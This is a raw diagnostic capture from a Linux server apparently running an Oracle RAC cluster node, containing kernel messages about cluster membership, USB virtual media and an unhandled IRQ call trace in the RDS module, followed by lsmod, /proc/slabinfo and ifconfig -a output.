[Oracle OKS]   Node 1 (IP 0xaca8080a) Node 2 (IP 0xaca8080b)
[Oracle OKS] Node count 2
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.
process `sysctl' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time; Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
process `cp' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time; Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
usb 8-3.1: new high speed USB device using ehci_hcd and address 4
usb 8-3.1: configuration #1 chosen from 1 choice
scsi7 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 4
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 4
usb 8-3.1: new high speed USB device using ehci_hcd and address 5
usb 8-3.1: configuration #1 chosen from 1 choice
scsi8 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 5
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 5
usb 8-3.1: new high speed USB device using ehci_hcd and address 6
usb 8-3.1: device not accepting address 6, error -71
usb 8-3.1: new high speed USB device using ehci_hcd and address 8
usb 8-3.1: configuration #1 chosen from 1 choice
scsi9 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 8
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 8
usb 8-3.1: new high speed USB device using ehci_hcd and address 9
usb 8-3.1: configuration #1 chosen from 1 choice
scsi10 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 9
usb-storage: waiting for device to settle before scanning
usb 8-3.1: USB disconnect, address 9
usb 8-3.1: new high speed USB device using ehci_hcd and address 10
usb 8-3.1: configuration #1 chosen from 1 choice
scsi11 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 10
usb-storage: waiting for device to settle before scanning
  Vendor: TEAC      Model: DV-28S-V          Rev: 1.0B
  Type:   CD-ROM                             ANSI SCSI revision: 00
scsi 11:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sr0: scsi3-mmc drive: 24x/24x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.20
sr 11:0:0:0: Attached scsi CD-ROM sr0
usb 8-3.1: USB disconnect, address 10
scsi 11:0:0:0: rejecting I/O to dead device
sr0: Hmm, seems the drive doesn't support multisession CD's
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
scsi 11:0:0:0: rejecting I/O to dead device
RDS/IB: connected to 172.168.8.12 version 3.1
[Oracle OKS] Cluster Membership change - Current  incarn 0x8
[Oracle OKS] Nodes in cluster:
[Oracle OKS]   Node 1 (IP 0xaca8080a) Node 2 (IP 0xaca8080b) Node 3 (IP 0xaca8080c) [Oracle OKS]

[Oracle OKS] Node count 3
usb 7-3: USB disconnect, address 2
usb 3-1: USB disconnect, address 2
usb 7-3: new high speed USB device using ehci_hcd and address 4
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 7-3.1: new high speed USB device using ehci_hcd and address 6
usb 7-3.1: configuration #1 chosen from 1 choice
scsi12 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 6
usb-storage: waiting for device to settle before scanning
usb 7-3.2: new high speed USB device using ehci_hcd and address 7
usb 7-3.2: configuration #1 chosen from 1 choice
scsi13 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 7
usb-storage: waiting for device to settle before scanning
usb 3-1: new low speed USB device using uhci_hcd and address 3
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input5
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input6
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
  Vendor: AMI       Model: Virtual Floppy    Rev: 1.00
  Type:   Direct-Access                      ANSI SCSI revision: 00
  Vendor: AMI       Model: Virtual CDROM     Rev: 1.00
  Type:   CD-ROM                             ANSI SCSI revision: 00
sr0: scsi-1 drive
sr 13:0:0:0: Attached scsi CD-ROM sr0
sr 13:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sd 12:0:0:0: Attached scsi removable disk sdb
sd 12:0:0:0: Attached scsi generic sg2 type 0
usb-storage: device scan complete
usb 7-3.1: USB disconnect, address 6
usb 7-3.2: USB disconnect, address 7
usb 3-1: USB disconnect, address 3
usb 3-1: new low speed USB device using uhci_hcd and address 4
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input7
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input8
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
usb 7-3: USB disconnect, address 4
usb 3-1: USB disconnect, address 4
usb 7-3: new high speed USB device using ehci_hcd and address 9
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 7-3.1: new high speed USB device using ehci_hcd and address 11
usb 7-3.1: configuration #1 chosen from 1 choice
scsi14 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 11
usb-storage: waiting for device to settle before scanning
usb 7-3.2: new high speed USB device using ehci_hcd and address 12
usb 7-3.2: configuration #1 chosen from 1 choice
scsi15 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 12
usb-storage: waiting for device to settle before scanning
usb 3-1: new low speed USB device using uhci_hcd and address 5
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input9
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input10
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
  Vendor: AMI       Model: Virtual Floppy    Rev: 1.00
  Type:   Direct-Access                      ANSI SCSI revision: 00
  Vendor: AMI       Model: Virtual CDROM     Rev: 1.00
  Type:   CD-ROM                             ANSI SCSI revision: 00
sr0: scsi-1 drive
sr 15:0:0:0: Attached scsi CD-ROM sr0
sr 15:0:0:0: Attached scsi generic sg1 type 5
usb-storage: device scan complete
sd 14:0:0:0: Attached scsi removable disk sdb
sd 14:0:0:0: Attached scsi generic sg2 type 0
usb-storage: device scan complete
usb 7-3.2: USB disconnect, address 12
usb 7-3.1: USB disconnect, address 11
usb 3-1: USB disconnect, address 5
usb 3-1: new low speed USB device using uhci_hcd and address 6
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input11
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input12
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
irq 217: nobody cared (try booting with the "irqpoll" option)

Call Trace:
   [] __report_bad_irq+0x30/0x7d
 [] note_interrupt+0x1e6/0x227
 [] __do_IRQ+0xbd/0x103
 [] __do_softirq+0x89/0x133
 [] do_IRQ+0xe7/0xf5
 [] ret_from_intr+0x0/0xa
   [] :rds:rds_poll+0x0/0xe8
 [] :rds:rds_poll+0x2/0xe8
 [] do_sys_poll+0x1b8/0x360
 [] __pollwait+0x0/0xe2
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] default_wake_function+0x0/0xe
 [] sock_common_recvmsg+0x2d/0x43
 [] sock_aio_read+0x4f/0x5e
 [] sys_sendmsg+0x217/0x28a
 [] :rds:__rds_rdma_map+0x2f5/0x319
 [] :rds:rds_get_mr+0x34/0x3f
 [] :rds:rds_setsockopt+0x9a/0x124
 [] sys_poll+0x2d/0x34
 [] system_call+0x7e/0x83

handlers:
[] (usb_hcd_irq+0x0/0x55)
Disabling IRQ #217
RDS/IB: send completion on 172.168.8.18 had status 12, disconnecting and reconnecting
process `sysctl' is using deprecated sysctl (syscall) net.ipv6.neigh.eth0.base_reachable_time;
Use net.ipv6.neigh.eth0.base_reachable_time_ms instead.
[Oracle ADVM] The attempt to open/mount volume RECO-ASM_FILE failed.

[oracle@maclean01 ~]$ /sbin/lsmod
Module                  Size  Used by
sr_mod                 50789  0
cdrom                  68713  1 sr_mod
oracleacfs            877320  1
oracleadvm            221760  3
oracleoks             276880  2 oracleacfs,oracleadvm
ipmi_poweroff          43401  0
ipmi_watchdog          52641  0
ipmi_devintf           44753  2
ipmi_si                77453  3
ipmi_msghandler        72985  4 ipmi_poweroff,ipmi_watchdog,ipmi_devintf,ipmi_si
sunrpc                197897  1
bonding               117856  0
iscsi_tcp              58305  0
libiscsi               63553  1 iscsi_tcp
scsi_transport_iscsi    67153  3 iscsi_tcp,libiscsi
rds                   402096  2364
ib_ipoib              112864  0
ipoib_helper           35472  2 ib_ipoib
ipv6                  424737  547 ib_ipoib
xfrm_nalgo             43333  1 ipv6
crypto_api             42945  1 xfrm_nalgo
rdma_ucm               47616  0
ib_ucm                 50056  0
ib_uverbs              75440  2 rdma_ucm,ib_ucm
ib_umad                50088  0
rdma_cm                68372  2 rds,rdma_ucm
ib_cm                  72744  3 ib_ipoib,ib_ucm,rdma_cm
iw_cm                  43400  1 rdma_cm
ib_addr                41736  1 rdma_cm
ib_sa                  74760  3 ib_ipoib,rdma_cm,ib_cm
dm_mirror              54089  0
dm_log                 44993  1 dm_mirror
dm_multipath           55257  0
scsi_dh                41665  1 dm_multipath
dm_mod                100753  3 dm_mirror,dm_log,dm_multipath
video                  53069  0
hwmon                  36553  0
backlight              39873  1 video
sbs                    49921  0
i2c_ec                 38593  1 sbs
button                 40545  0
battery                43849  0
asus_acpi              50917  0
acpi_memhotplug        40133  0
ac                     38729  0
fuse                   81200  0
parport_pc             62313  0
lp                     47121  0
parport                73165  2 parport_pc,lp
sg                     69865  0
mlx4_ib                99004  0
ib_mad                 70564  4 ib_umad,ib_cm,ib_sa,mlx4_ib
ib_core               109184  12 rds,ib_ipoib,rdma_ucm,ib_ucm,ib_uverbs,ib_umad,rdma_cm,ib_cm,iw_cm,
ib_sa,mlx4_ib,ib_mad
joydev                 43969  0
shpchp                 70765  0
i2c_i801               41813  0
igb                   110421  0
i2c_core               56129  2 i2c_ec,i2c_i801
ahci                   68937  0
mlx4_core             136676  1 mlx4_ib
pcspkr                 36289  0
usb_storage           116513  0
ata_piix               57029  0
libata                209105  2 ahci,ata_piix
cciss                 106760  0
megaraid_sas           73796  6
sd_mod                 56513  4
scsi_mod              197081  11 sr_mod,iscsi_tcp,libiscsi,scsi_transport_iscsi,scsi_dh,sg,usb_storage,
libata,cciss,megaraid_sas,sd_mod
ext3                  168529  2
jbd                    94513  1 ext3
ehci_hcd               65613  0
ohci_hcd               55925  0
uhci_hcd               57433  0 

[oracle@maclean01 proc]$ cat slabinfo
slabinfo - version: 2.1
# name                 : tunables    : slabdata
acfs_metadata_buffer_cache      0      0    512    8    1 : tunables   54   27    8 : slabdata      0      0      0
acfs_ofsbuf_cache      0      0    136   28    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_inode_cache       0      0   1144    3    1 : tunables   24   12    8 : slabdata      0      0      0
acfs_reqd_fcb_cache      0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_ccb_cache         0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
acfs_fcb_cache         0      0    472    8    1 : tunables   54   27    8 : slabdata      0      0      0
fio                    0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
AsmPhysIo              0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
AsmVolIo               0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
odlm_rsb_cache         0      0    184   21    1 : tunables  120   60    8 : slabdata      0      0      0
odlm_lkb_cache         0      0    312   12    1 : tunables   54   27    8 : slabdata      0      0      0
rpc_buffers            8      8   2048    2    1 : tunables   24   12    8 : slabdata      4      4      0
rpc_tasks              8     10    384   10    1 : tunables   54   27    8 : slabdata      1      1      0
rpc_inode_cache        6     10    768    5    1 : tunables   54   27    8 : slabdata      2      2      0
ip_fib_alias          21     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
ip_fib_hash           21     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
rds_ib_frag        34720  93564     40   92    1 : tunables  120   60    8 : slabdata   1017   1017    120
rds_ib_incoming    34760  91488    120   32    1 : tunables  120   60    8 : slabdata   2859   2859    120
rds_iw_frag            0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
rds_iw_incoming        0      0    120   32    1 : tunables  120   60    8 : slabdata      0      0      0
RDS                 1233   1359    832    9    2 : tunables   54   27    8 : slabdata    151    151      0
rds_connection        12     18    664    6    1 : tunables   54   27    8 : slabdata      3      3      0
fib6_nodes             9     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
ip6_dst_cache         10     36    320   12    1 : tunables   54   27    8 : slabdata      3      3      0
ndisc_cache            1     15    256   15    1 : tunables  120   60    8 : slabdata      1      1      0
RAWv6                 19     20    960    4    1 : tunables   54   27    8 : slabdata      5      5      0
UDPv6                226    244    896    4    1 : tunables   54   27    8 : slabdata     61     61      0
tw_sock_TCPv6         61    140    192   20    1 : tunables  120   60    8 : slabdata      7      7      0
request_sock_TCPv6      0      0    192   20    1 : tunables  120   60    8 : slabdata      0      0      0
TCPv6                 28     52   1728    4    2 : tunables   24   12    8 : slabdata     11     13      0
dm_mpath               0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
dm_uevent              0      0   2608    3    2 : tunables   24   12    8 : slabdata      0      0      0
dm_tio                 0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
dm_io                  0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
fuse_request           0      0    592   13    2 : tunables   54   27    8 : slabdata      0      0      0
fuse_inode             0      0    640    6    1 : tunables   54   27    8 : slabdata      0      0      0
ib_mad              2048   2168    448    8    1 : tunables   54   27    8 : slabdata    271    271      0
jbd_4k                39     40   4096    1    1 : tunables   24   12    8 : slabdata     39     40      0
scsi_cmd_cache        44     70    384   10    1 : tunables   54   27    8 : slabdata      6      7      0
sgpool-128            32     32   4096    1    1 : tunables   24   12    8 : slabdata     32     32      0
sgpool-64             34     34   2048    2    1 : tunables   24   12    8 : slabdata     17     17      0
sgpool-32             33     36   1024    4    1 : tunables   54   27    8 : slabdata      9      9      0
sgpool-16             34     40    512    8    1 : tunables   54   27    8 : slabdata      5      5      0
sgpool-8             133    150    256   15    1 : tunables  120   60    8 : slabdata      9     10      0
scsi_io_context        0      0    112   34    1 : tunables  120   60    8 : slabdata      0      0      0
ext3_inode_cache  885935 886035    760    5    1 : tunables   54   27    8 : slabdata 177207 177207      0
ext3_xattr             0      0     88   44    1 : tunables  120   60    8 : slabdata      0      0      0
journal_handle       114    288     24  144    1 : tunables  120   60    8 : slabdata      2      2      0
journal_head         568    840     96   40    1 : tunables  120   60    8 : slabdata     21     21      0
revoke_table           4    202     16  202    1 : tunables  120   60    8 : slabdata      1      1      0
revoke_record          0      0     32  112    1 : tunables  120   60    8 : slabdata      0      0      0
uhci_urb_priv          4     67     56   67    1 : tunables  120   60    8 : slabdata      1      1      0
UNIX                 686    748    704   11    2 : tunables   54   27    8 : slabdata     67     68      0
flow_cache             0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
msi_cache             40     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
cfq_ioc_pool         203    360    160   24    1 : tunables  120   60    8 : slabdata     15     15      0
cfq_pool             162    336    160   24    1 : tunables  120   60    8 : slabdata     14     14      0
crq_pool              93    144     80   48    1 : tunables  120   60    8 : slabdata      3      3      0
deadline_drq           0      0     80   48    1 : tunables  120   60    8 : slabdata      0      0      0
as_arq                 0      0     96   40    1 : tunables  120   60    8 : slabdata      0      0      0
mqueue_inode_cache      1      4    896    4    1 : tunables   54   27    8 : slabdata      1      1      0
isofs_inode_cache      0      0    608    6    1 : tunables   54   27    8 : slabdata      0      0      0
hugetlbfs_inode_cache      1      7    576    7    1 : tunables   54   27    8 : slabdata      1      1      0
ext2_inode_cache       0      0    720    5    1 : tunables   54   27    8 : slabdata      0      0      0
ext2_xattr             0      0     88   44    1 : tunables  120   60    8 : slabdata      0      0      0
dnotify_cache          2     92     40   92    1 : tunables  120   60    8 : slabdata      1      1      0
dquot                  0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
eventpoll_pwq          1     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
eventpoll_epi          1     20    192   20    1 : tunables  120   60    8 : slabdata      1      1      0
inotify_event_cache      0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
inotify_watch_cache      1     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
kioctx               347    480    320   12    1 : tunables   54   27    8 : slabdata     40     40      0
kiocb                  0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
fasync_cache           0      0     24  144    1 : tunables  120   60    8 : slabdata      0      0      0
shmem_inode_cache    924    940    768    5    1 : tunables   54   27    8 : slabdata    188    188      0
posix_timers_cache      0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
uid_cache              7     30    128   30    1 : tunables  120   60    8 : slabdata      1      1      0
ip_mrt_cache           0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
tcp_bind_bucket      115    448     32  112    1 : tunables  120   60    8 : slabdata      4      4      0
inet_peer_cache        3     30    128   30    1 : tunables  120   60    8 : slabdata      1      1      0
secpath_cache          0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
xfrm_dst_cache         0      0    384   10    1 : tunables   54   27    8 : slabdata      0      0      0
ip_dst_cache         250    590    384   10    1 : tunables   54   27    8 : slabdata     59     59      0
arp_cache             32     90    256   15    1 : tunables  120   60    8 : slabdata      6      6      0
RAW                   17     20    768    5    1 : tunables   54   27    8 : slabdata      4      4      0
UDP                  705    735    768    5    1 : tunables   54   27    8 : slabdata    147    147      0
tw_sock_TCP            3     20    192   20    1 : tunables  120   60    8 : slabdata      1      1      0
request_sock_TCP      30     90    128   30    1 : tunables  120   60    8 : slabdata      3      3      0
TCP                  315    365   1536    5    2 : tunables   24   12    8 : slabdata     73     73      0
blkdev_ioc           203    402     56   67    1 : tunables  120   60    8 : slabdata      6      6      0
blkdev_queue          20     20   1576    5    2 : tunables   24   12    8 : slabdata      4      4      0
blkdev_requests       63     84    272   14    1 : tunables   54   27    8 : slabdata      6      6      0
biovec-256             7      7   4096    1    1 : tunables   24   12    8 : slabdata      7      7      0
biovec-128             7      8   2048    2    1 : tunables   24   12    8 : slabdata      4      4      0
biovec-64              7      8   1024    4    1 : tunables   54   27    8 : slabdata      2      2      0
biovec-16              7     15    256   15    1 : tunables  120   60    8 : slabdata      1      1      0
biovec-4               7     59     64   59    1 : tunables  120   60    8 : slabdata      1      1      0
biovec-1             127    404     16  202    1 : tunables  120   60    8 : slabdata      2      2      0
bio                  374    480    128   30    1 : tunables  120   60    8 : slabdata     14     16      0
utrace_engine_cache      0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
utrace_cache           0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
sock_inode_cache    3142   3294    640    6    1 : tunables   54   27    8 : slabdata    549    549      0
skbuff_fclone_cache    329    413    512    7    1 : tunables   54   27    8 : slabdata     59     59     54
skbuff_head_cache  13718  14670    256   15    1 : tunables  120   60    8 : slabdata    978    978    120
file_lock_cache       33     88    176   22    1 : tunables  120   60    8 : slabdata      4      4      0
Acpi-Operand        2525   2596     64   59    1 : tunables  120   60    8 : slabdata     44     44      0
Acpi-ParseExt          0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-Parse             0      0     40   92    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-State             0      0     80   48    1 : tunables  120   60    8 : slabdata      0      0      0
Acpi-Namespace      1082   1232     32  112    1 : tunables  120   60    8 : slabdata     11     11      0
delayacct_cache     1155   1888     64   59    1 : tunables  120   60    8 : slabdata     32     32      0
taskstats_cache       35    265     72   53    1 : tunables  120   60    8 : slabdata      5      5      0
proc_inode_cache   17438  17796    592    6    1 : tunables   54   27    8 : slabdata   2966   2966      0
sigqueue             132    432    160   24    1 : tunables  120   60    8 : slabdata     18     18      0
radix_tree_node   259865 260141    536    7    1 : tunables   54   27    8 : slabdata  37163  37163      0
bdev_cache            28     35    768    5    1 : tunables   54   27    8 : slabdata      7      7      0
sysfs_dir_cache    10415  10648     88   44    1 : tunables  120   60    8 : slabdata    242    242      0
mnt_cache             29     60    256   15    1 : tunables  120   60    8 : slabdata      4      4      0
inode_cache         2386   2758    560    7    1 : tunables   54   27    8 : slabdata    394    394      0
dentry_cache      1081196 1081638    216   18    1 : tunables  120   60    8 : slabdata  60091  60091      0
filp               81069  86250    256   15    1 : tunables  120   60    8 : slabdata   5750   5750    480
names_cache           93     94   4096    1    1 : tunables   24   12    8 : slabdata     93     94      0
avc_node              14     53     72   53    1 : tunables  120   60    8 : slabdata      1      1      0
selinux_inode_security   1710   2064     80   48    1 : tunables  120   60    8 : slabdata     43     43      0
key_jar               28     40    192   20    1 : tunables  120   60    8 : slabdata      2      2      0
idr_layer_cache      128    133    528    7    1 : tunables   54   27    8 : slabdata     19     19      0
buffer_head       4216731 5748080     96   40    1 : tunables  120   60    8 : slabdata 143702 143702      0
mm_struct            477    556    896    4    1 : tunables   54   27    8 : slabdata    139    139      0
vm_area_struct    119228 127336    176   22    1 : tunables  120   60    8 : slabdata   5788   5788    144
fs_cache             479   1180     64   59    1 : tunables  120   60    8 : slabdata     20     20      0
files_cache          446    605    768    5    1 : tunables   54   27    8 : slabdata    120    121      0
signal_cache         681    810    768    5    1 : tunables   54   27    8 : slabdata    162    162      0
sighand_cache        675    726   2112    3    2 : tunables   24   12    8 : slabdata    242    242      0
task_struct         1161   1212   1888    2    1 : tunables   24   12    8 : slabdata    606    606      0
anon_vma           30786  37152     24  144    1 : tunables  120   60    8 : slabdata    258    258      0
pid                 1558   2301     64   59    1 : tunables  120   60    8 : slabdata     39     39      0
shared_policy_node      0      0     48   77    1 : tunables  120   60    8 : slabdata      0      0      0
numa_policy          226    576     24  144    1 : tunables  120   60    8 : slabdata      4      4      0
size-131072(DMA)       0      0 131072    1   32 : tunables    8    4    0 : slabdata      0      0      0
size-131072            8     22 131072    1   32 : tunables    8    4    0 : slabdata      8     22      0
size-65536(DMA)        0      0  65536    1   16 : tunables    8    4    0 : slabdata      0      0      0
size-65536             3      3  65536    1   16 : tunables    8    4    0 : slabdata      3      3      0
size-32768(DMA)        0      0  32768    1    8 : tunables    8    4    0 : slabdata      0      0      0
size-32768             5      5  32768    1    8 : tunables    8    4    0 : slabdata      5      5      0
size-16384(DMA)        0      0  16384    1    4 : tunables    8    4    0 : slabdata      0      0      0
size-16384            51     51  16384    1    4 : tunables    8    4    0 : slabdata     51     51      0
size-8192(DMA)         0      0   8192    1    2 : tunables    8    4    0 : slabdata      0      0      0
size-8192            565    565   8192    1    2 : tunables    8    4    0 : slabdata    565    565      0
size-4096(DMA)         0      0   4096    1    1 : tunables   24   12    8 : slabdata      0      0      0
size-4096            917    947   4096    1    1 : tunables   24   12    8 : slabdata    917    947      0
size-2048(DMA)         0      0   2048    2    1 : tunables   24   12    8 : slabdata      0      0      0
size-2048           3836   3892   2048    2    1 : tunables   24   12    8 : slabdata   1945   1946     24
size-1024(DMA)         0      0   1024    4    1 : tunables   54   27    8 : slabdata      0      0      0
size-1024          10741  11108   1024    4    1 : tunables   54   27    8 : slabdata   2777   2777    108
size-512(DMA)          0      0    512    8    1 : tunables   54   27    8 : slabdata      0      0      0
size-512            1570   1672    512    8    1 : tunables   54   27    8 : slabdata    208    209     54
size-256(DMA)          0      0    256   15    1 : tunables  120   60    8 : slabdata      0      0      0
size-256            3758   3960    256   15    1 : tunables  120   60    8 : slabdata    264    264    120
size-128(DMA)          0      0    128   30    1 : tunables  120   60    8 : slabdata      0      0      0
size-64(DMA)           0      0     64   59    1 : tunables  120   60    8 : slabdata      0      0      0
size-64           419980 420493     64   59    1 : tunables  120   60    8 : slabdata   7127   7127    148
size-32(DMA)           0      0     32  112    1 : tunables  120   60    8 : slabdata      0      0      0
size-128            5415   6240    128   30    1 : tunables  120   60    8 : slabdata    208    208     60
size-32             5085   5488     32  112    1 : tunables  120   60    8 : slabdata     49     49      0
kmem_cache           164    164   2688    1    1 : tunables   24   12    8 : slabdata    164    164      0

[oracle@maclean01 ~]$ /sbin/ifconfig -a
bond0     Link encap:InfiniBand  HWaddr 80:00:00:48:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          inet addr:172.168.8.10  Bcast:172.168.8.255  Mask:255.255.255.0
          inet6 addr: fe80::221:2800:13e:8413/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:65520  Metric:1
          RX packets:184405538 errors:0 dropped:0 overruns:0 frame:0
          TX packets:176124832 errors:0 dropped:35 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:30945297410 (28.8 GiB)  TX bytes:27635080173 (25.7 GiB)

bond1     Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          inet addr:172.16.9.20  Bcast:172.16.9.255  Mask:255.255.255.0
          inet6 addr: fe80::221:28ff:fe6b:251/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:59600090474 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50440920829 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9377243799311 (8.5 TiB)  TX bytes:12093687517171 (10.9 TiB)

bond1:1   Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          inet addr:172.16.9.24  Bcast:172.16.9.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1

bond2     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          BROADCAST MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

eth0      Link encap:Ethernet  HWaddr 00:21:28:6B:02:50
          inet addr:172.16.8.220  Bcast:172.16.8.255  Mask:255.255.255.128
          inet6 addr: fe80::221:28ff:fe6b:250/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:899946283 errors:0 dropped:0 overruns:0 frame:0
          TX packets:892061685 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:80589528069 (75.0 GiB)  TX bytes:796212093678 (741.5 GiB)
          Memory:fac60000-fac80000 

eth1      Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:59592011485 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50440920830 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:9376635582221 (8.5 TiB)  TX bytes:12093687519354 (10.9 TiB)
          Memory:face0000-fad00000 

eth2      Link encap:Ethernet  HWaddr 00:21:28:6B:02:51
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:8078995 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:608217729 (580.0 MiB)  TX bytes:378 (378.0 b)
          Memory:fad60000-fad80000 

eth3      Link encap:Ethernet  HWaddr 00:21:28:6B:02:53
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Memory:fade0000-fae00000 

ib0       Link encap:InfiniBand  HWaddr 80:00:00:48:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:65520  Metric:1
          RX packets:178541576 errors:0 dropped:0 overruns:0 frame:0
          TX packets:176124832 errors:0 dropped:35 overruns:0 carrier:0
          collisions:0 txqueuelen:256
          RX bytes:30616915538 (28.5 GiB)  TX bytes:27635080173 (25.7 GiB)

ib1       Link encap:InfiniBand  HWaddr 80:00:00:49:FE:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:65520  Metric:1
          RX packets:5863962 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:256
